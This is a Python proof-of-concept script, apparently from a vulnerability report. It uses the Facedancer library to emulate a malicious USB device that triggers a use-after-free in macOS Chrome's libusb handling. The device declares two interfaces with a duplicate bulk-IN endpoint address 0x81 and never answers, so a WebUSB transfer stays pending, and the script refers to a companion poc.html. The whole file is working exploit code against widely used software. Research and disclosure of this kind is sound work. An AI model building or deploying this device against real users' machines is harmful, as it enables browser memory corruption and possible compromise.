#!/usr/bin/env python3
"""
Malicious USB device for the macOS Chrome libusb darwin_abort_transfers /
darwin_release_interface UAF.

Advertises a single configuration with TWO interfaces (0 and 1), each
containing a bulk-IN endpoint with the SAME bEndpointAddress = 0x81.
This violates USB 2.0 spec 9.6.6 ("endpoint addresses must be unique within
a configuration") but neither Chrome's usb_descriptors.cc parser nor libusb's
darwin get_endpoints() rejects it.

The device NAKs all IN tokens on endpoint 0x81 forever so the renderer's
transferIn() stays pending.

Requires: Facedancer (https://github.com/greatscottgadgets/facedancer) and a
GreatFET One / Cynthion / Facedancer21 board.

    pip install facedancer
    python3 facedancer_device.py
"""

from facedancer import (
    USBDevice, USBConfiguration, USBInterface, USBEndpoint,
    USBDirection, USBTransferType, main,
)


class DupEndpointDevice(USBDevice):
    vendor_id            = 0x1209   # pid.codes test VID (matches poc.html)
    product_id           = 0x0001
    manufacturer_string  = "uaf-poc"
    product_string       = "dup-ep81"
    device_speed         = "full"

    class DefaultConfiguration(USBConfiguration):
        configuration_number = 1

        class Interface0(USBInterface):
            number        = 0
            class_number  = 0xFF  # vendor-specific (no kernel driver claims it)

            class EpIn(USBEndpoint):
                number          = 1
                direction       = USBDirection.IN     # bEndpointAddress = 0x81
                transfer_type   = USBTransferType.BULK
                max_packet_size = 64

        class Interface1(USBInterface):
            number        = 1
            class_number  = 0xFF

            class EpIn(USBEndpoint):
                number          = 1
                direction       = USBDirection.IN     # bEndpointAddress = 0x81 (DUPLICATE)
                transfer_type   = USBTransferType.BULK
                max_packet_size = 64

    # Never produce data on EP1 IN -> host sees endless NAKs -> transferIn()
    # stays pending until cancelled.
    def handle_data_requested(self, endpoint):
        return  # no self.send(), so the endpoint keeps NAKing


if __name__ == "__main__":
    main(DupEndpointDevice)
